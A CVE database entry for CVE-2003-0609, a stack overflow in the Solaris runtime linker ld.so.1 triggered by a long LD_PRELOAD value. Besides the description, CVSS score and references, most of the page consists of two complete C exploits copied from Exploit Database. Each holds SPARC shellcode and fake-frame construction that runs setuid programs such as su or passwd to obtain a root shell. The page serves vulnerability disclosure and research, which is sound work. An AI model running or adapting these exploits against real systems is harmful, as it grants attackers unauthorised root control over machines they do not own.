CVE-2003-0609 : Detail

CVE-2003-0609

0.04%V3
Local
2003-08-01
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6 through 9 allows local users to gain root privileges via a long LD_PRELOAD environment variable.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 1182

Publication date : 2004-12-23 23h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes

/* * $Id: raptor_ldpreload.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ * * raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9 * Copyright (c) 2003-2004 Marco Ivaldi <[email protected]> * * Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6 * through 9 allows local users to gain root privileges via a long LD_PRELOAD * environment variable (CAN-2003-0609). * * This exploit uses the ret-into-ld.so technique, to effectively bypass the * non-executable stack protection (noexec_user_stack=1 in /etc/system). This * is a weird vulnerability indeed: the standard ret-into-stack doesn't seem * to work properly for some reason (SEGV_ACCERR), and at least my version of * Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach ret?). * * Usage: * $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall * $ ./raptor_ldpreload * [...] * # id * uid=0(root) gid=1(other) * # * * Vulnerable platforms: * Solaris 2.6 with 107733-10 and without 107733-11 [untested] * Solaris 7 with 106950-14 through 106950-22 and without 106950-23 [untested] * Solaris 8 with 109147-07 through 109147-24 and without 109147-25 [untested] * Solaris 9 without 112963-09 [tested] */ #include <dlfcn.h> #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9" #define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi <[email protected]>" #define VULN "/usr/bin/su" // default setuid target #define BUFSIZE 1700 // size of the evil buffer #define FFSIZE 64 + 1 // size of the fake frame #define DUMMY 0xdeadbeef // dummy memory address #define ALIGN 3 // needed address alignment /* voodoo macros */ #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */ /* setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE]; char platform[256], release[256]; int i, offset, ff_addr, sc_addr, str_addr; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("strcpy"); int rwx_mem = search_rwx_mem(); /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the evil buffer */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; memcpy(buf, "LD_PRELOAD=/", 12); buf[sizeof(buf) - 2] = '/'; /* prepare the fake frame */ bzero(ff, sizeof(ff)); /* * saved %l registers */ set_val(ff, i = 0, DUMMY); /* %l0 */ set_val(ff, i += 4, DUMMY); /* %l1 */ set_val(ff, i += 4, DUMMY); /* %l2 */ set_val(ff, i += 4, DUMMY); /* %l3 */ set_val(ff, i += 4, DUMMY); /* %l4 */ set_val(ff, i += 4, DUMMY); /* %l5 */ set_val(ff, i += 4, DUMMY); /* %l6 */ set_val(ff, i += 4, DUMMY); /* %l7 */ /* * saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ set_val(ff, i += 4, DUMMY); /* %i2 */ set_val(ff, i += 4, DUMMY); /* %i3 */ set_val(ff, i += 4, DUMMY); /* %i4 */ set_val(ff, i += 4, DUMMY); /* %i5 */ set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ /* fill the envp, keeping padding */ sc_addr = add_env(ff); str_addr = add_env(sc); add_env("bar"); add_env(buf); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ff_addr = sb - offset + arg_len; sc_addr += ff_addr; str_addr += ff_addr; /* set fake frame's %i1 */ set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ /* fill the evil buffer */ for (i = 12 + ALIGN; i < 1296; i += 4) set_val(buf, i, str_addr); /* must be a valid string */ /* to avoid distance bruteforcing */ for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) { set_val(buf, i, ff_addr); set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */ } /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return(addr); } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return(addr_old); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } // milw0rm.com [2004-12-24]
Exploit Database EDB-ID : 114

Publication date : 2003-10-26 23h00 +00:00
Author : osker178
EDB Verified : Yes

/* ############################# * ## ld.so.1 exploit (SPARC) ## * ############################# * [coded by: osker178 (bjr213 psu.edu)] * * Alright, so this exploits a fairly standard buffer * overflow in the default Solaris runtime linker (ld.so.1) * (discovery by Jouko Pynnonen) * Only real deviation here from the standard overflow * and return into libc scenario is that at the time that * overflow occurs, the libc object file has not been loaded; * so it's not really possible to return into a libc function. * However, this poses no real problem to us, as ld.so.1 * provides it's own ___cpy() functions which we can use to * move our shellcode into an appropriate place in memory. * * Some things to note: * * - obviously some of the pre-defined addresses will have to be changed * * - 1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up * overwriting a char *; this is actually very helpful for locating where * the rest of our information is stored in memory, as this pointer * will be used to display another error message, showing us what string * is stored at the address we overwrote this pointer with. * * - ... eh, that's enough, just look at the code to figure the rest out */ #include <dlfcn.h> #include <stdio.h> #include <signal.h> #include <setjmp.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <link.h> char SPARC_sc[] = /* setuid(0) */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */ "\x82\x10\x20\x17" /* mov 23,%g1 | 23 == SYS_setuid()*/ "\x91\xd0\x20\x08" /* ta 8 */ /* setreuid(0,0) - for me at least, these both had to be called */ "\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */ "\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/ "\x91\xd0\x20\x08" /* ta 8 */ /* exec(/bin/sh) */ "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ "\x82\x10\x20\x3b" /* mov 59, %g1 | 59 = SYS_execve() */ "\x91\xd0\x20\x08" /* ta 8 */ ; const long FRAME_ADDR = 0xffbee938; const long SHELLCODE_ADDR = 0xffbef17a; const long DESTCPY_ADDR = 0xff3e7118; const long DEF_OFFSET = 0x20; const int ENV_STR_SIZE = 2048; const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */ const int DEF_FPAD_LEN = 4; const int REC_BUF_SIZE = 1456; char * get_ld_env(int buf_len, long offset); char * get_fake_frame(long offset); char * get_envs_str(char fill); unsigned long get_strcpy_addr(); /* ********************************************** * * ******************** MAIN ******************** * * ********************************************** */ int main(int argc, char **argv) { char *prog[3]; char *envs[7]; char opt; int buf_size = -1; int fpad_len = -1; long offset = -1; char *ld_pre_env = 0x0; char *fake_frame = 0x0; /* padding of sorts */ char *envs_str1 = 0x0; char *envs_str2 = 0x0; char *fpad_buf = 0x0; // ------------------------------------------------ // while((opt = getopt(argc, argv, "s:o:p:")) != -1) { switch(opt) { case 's': if(!optarg) { printf("-s needs size argument\n"); exit(0); } else buf_size = atoi(optarg); break; case 'o': if(!optarg) { printf("-o needs offset argument\n"); exit(0); } else offset = atol(optarg); break; case 'p': if(!optarg) { printf("-p needs pad length argument\n"); exit(0); } else { fpad_len = atoi(optarg); if(fpad_len < 0) fpad_len = 0; } break; default: printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]); exit(0); } argc -= optind; argv += optind; } printf("\n#######################################\n"); printf("# ld.so.1 LD_PRELOAD (SPARC) exploit #\n"); printf("# coded by: osker178 ([email protected]) #\n"); printf("#######################################\n\n"); if(buf_size == -1) { printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE); buf_size = REC_BUF_SIZE; } else if(buf_size % 4) { buf_size = buf_size + (4 - (buf_size%4)); printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size); } if(offset == -1) { printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET); offset = DEF_OFFSET; } else if((FRAME_ADDR + offset) % 8) { offset = offset + (8 - (offset%8)); printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset); printf("(otherwise FRAME_ADDR would not be alligned correctly)\n"); } if(fpad_len == -1) { printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN); fpad_len = DEF_FPAD_LEN; } // -------------------------------------------------- // ld_pre_env = get_ld_env(buf_size, offset); if(!ld_pre_env) exit(0); fake_frame = get_fake_frame(offset); if(!fake_frame) exit(0); envs_str1 = get_envs_str('1'); if(!envs_str1) exit(0); envs_str2 = get_envs_str('2'); if(!envs_str2) exit(0); // -------------------------------------------------- // fpad_buf = (char *)malloc(fpad_len+1); if(!fpad_buf) { perror("malloc"); exit(0); } memset(fpad_buf, 'F', fpad_len); fpad_buf[fpad_len] = '\0'; envs[0] = fpad_buf; envs[1] = fake_frame; envs[2] = envs_str1; envs[3] = SPARC_sc; envs[4] = envs_str2; envs[5] = ld_pre_env; envs[6] = NULL; prog[0] = "/usr/bin/passwd"; prog[1] = "passwd"; prog[2] = NULL; execve(prog[0], prog, envs); perror("execve"); return 0; } /* ********************************************** */ /* ********************************************** * * ***************** GET_LD_ENV ***************** * * ********************************************** */ char * get_ld_env(int buf_len, long offset) { long *lp; char *buf; char *ld_pre_env; unsigned long strcpy_ret; strcpy_ret = get_strcpy_addr(); if(!strcpy_ret) return 0; else printf("strcpy found at [0x%x]\n\n", strcpy_ret); /* * buf_size --> main requested length (rounded up to nearest factor of 4) * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite * +1 --> for the "/" character that must be appended in order to pass the strchr() * and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1) * +1 --> '\0' obviously */ buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1); if(!buf) { perror("malloc"); return 0; } memset(buf, 'A', buf_len); buf[0] = '/'; /* this is the location of the (char *) in ld.so.1 we are overwriting * -> use this to find the address of the environment * arguments (whatever value we write at this address * is what will be displayed in an error message * from ld.so.1 after the error message generated from * our insecure path provided in LD_PRELOAD) */ lp = (long *)(buf + 1124); *lp++ = FRAME_ADDR + offset; lp = (long *)(buf + buf_len); /* %l regs - as far as we're concerned, these * values don't matter (i've never * had a problem with them) */ *lp++ = 0x61616161; /* %l0 */ *lp++ = 0x62626262; /* %l1 */ *lp++ = 0x63636363; /* %l2 */ *lp++ = 0x64646464; /* %l3 */ *lp++ = 0x65656565; /* %l4 */ *lp++ = 0x66666666; /* %l5 */ *lp++ = 0x67676767; /* %l6 */ *lp++ = 0x68686868; /* %l7 */ /* %i regs */ *lp++ = 0x69696969; /* %i0 */ *lp++ = 0x70707070; /* %i1 */ *lp++ = 0x71717171; /* %i2 */ *lp++ = 0x72727272; /* %i3 */ *lp++ = 0x73737373; /* %i4 */ *lp++ = 0x74747474; /* %i5 */ *lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */ *lp = strcpy_ret; /* ret address/%i7 */ strcat(buf, "/"); /* put together our LD_PRELOAD buffer */ ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1); if(!ld_pre_env) { perror("malloc"); return 0; } strcpy(ld_pre_env, "LD_PRELOAD="); strcat(ld_pre_env + strlen(ld_pre_env), buf); free(buf); return ld_pre_env; } /* ********************************************** * * *************** GET_FAKE_FRAME *************** * * ********************************************** */ char * get_fake_frame(long offset) { long destcpy_addr; long *lp; char *frame = (char *)malloc(FRAME_SIZE + 1); if(!frame) { perror("malloc"); return 0; } /* this worked for me; may have to adjust though * - can easily find a good place by using gdb and pmap */ destcpy_addr = get_strcpy_addr() + 0x17000; lp = (long *)frame; /* %l regs - values don't matter */ *lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's address */ *lp++ = 0xdeaddead; /* %l1 */ *lp++ = 0xdeaddead; /* %l2 */ *lp++ = 0xdeaddead; /* %l3 */ *lp++ = 0xdeaddead; /* %l4 */ *lp++ = 0xdeaddead; /* %l5 */ *lp++ = 0xdeaddead; /* %l6 */ *lp++ = 0xdeaddead; /* %l7 */ /* %i regs */ *lp++ = destcpy_addr; /* %i0 - DESTINATION ADDRESS for ___cpy() */ *lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for ___cpy() */ *lp++ = 0xdeaddead; /* %i2 - size*/ *lp++ = 0xdeaddead; /* %i3 */ *lp++ = 0xdeaddead; /* %i4 */ *lp++ = 0xdeaddead; /* %i5 */ *lp++ = destcpy_addr+0x200; /* saved frame pointer/%i6(sp) */ *lp++ = destcpy_addr-0x8; /* %i7 */ *lp++ = 0x0; return frame; } /* ********************************************** * * **************** GET_ENVS_STR **************** * * ********************************************** */ char * get_envs_str(char fill) { char *envs_str = (char *)malloc(ENV_STR_SIZE + 1); if(!envs_str) { perror("malloc"); return 0; } memset(envs_str, fill, ENV_STR_SIZE); envs_str[0] = 'b'; // \ envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables */ envs_str[2] = 'g'; // / envs_str[ENV_STR_SIZE] = '\0'; return envs_str; } /* ********************************************** * * *************** GET_STRCPY_ADDR ************** * * ********************************************** */ unsigned long get_strcpy_addr() { void *handle; Link_map *lm; unsigned long addr; if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlmopen"); return 0; } if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); return 0; } if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL) { perror("dlsym"); return 0; } /* -4 to skip save and use * our fake frame instead */ addr -= 4; /* make sure addr doesn't contain any 0x00 bytes, * or '/' characters (as this is where strcpy will * cutoff in ld.so.1) */ if( !(addr & 0xFF) || !(addr & 0xFF00) || !(addr & 0xFF0000) || !(addr & 0xFF000000) || ((addr & 0xFF) == 0x2f) || ((addr & 0xFF00) == 0x2f) || ((addr & 0xFF0000) == 0x2f) || ((addr & 0xFF000000) == 0x2f) ) { printf("ERROR: strcpy address (0x%x) contains unusable bytes somewhere.\n", addr); printf(" -> consider using strncpy, memcpy, or another similar substitute instead.\n"); return 0; } return addr; } // milw0rm.com [2003-10-27]

Products Mentioned

Configuraton 0

Sun>>Solaris >> Version 2.6

Sun>>Solaris >> Version 7.0

    Sun>>Solaris >> Version 8.0

      Sun>>Solaris >> Version 9.0

        Sun>>Solaris >> Version 9.0

          Sun>>Sunos >> Version -

          Sun>>Sunos >> Version 5.7

          Sun>>Sunos >> Version 5.8

          References

          http://marc.info/?l=bugtraq&m=105951760418667&w=2
          Tags : mailing-list, x_refsource_BUGTRAQ
          http://www.osvdb.org/8722
          Tags : vdb-entry, x_refsource_OSVDB
          http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/55680
          Tags : vendor-advisory, x_refsource_SUNALERT
          http://www.idefense.com/advisory/07.29.03.txt
          Tags : third-party-advisory, x_refsource_IDEFENSE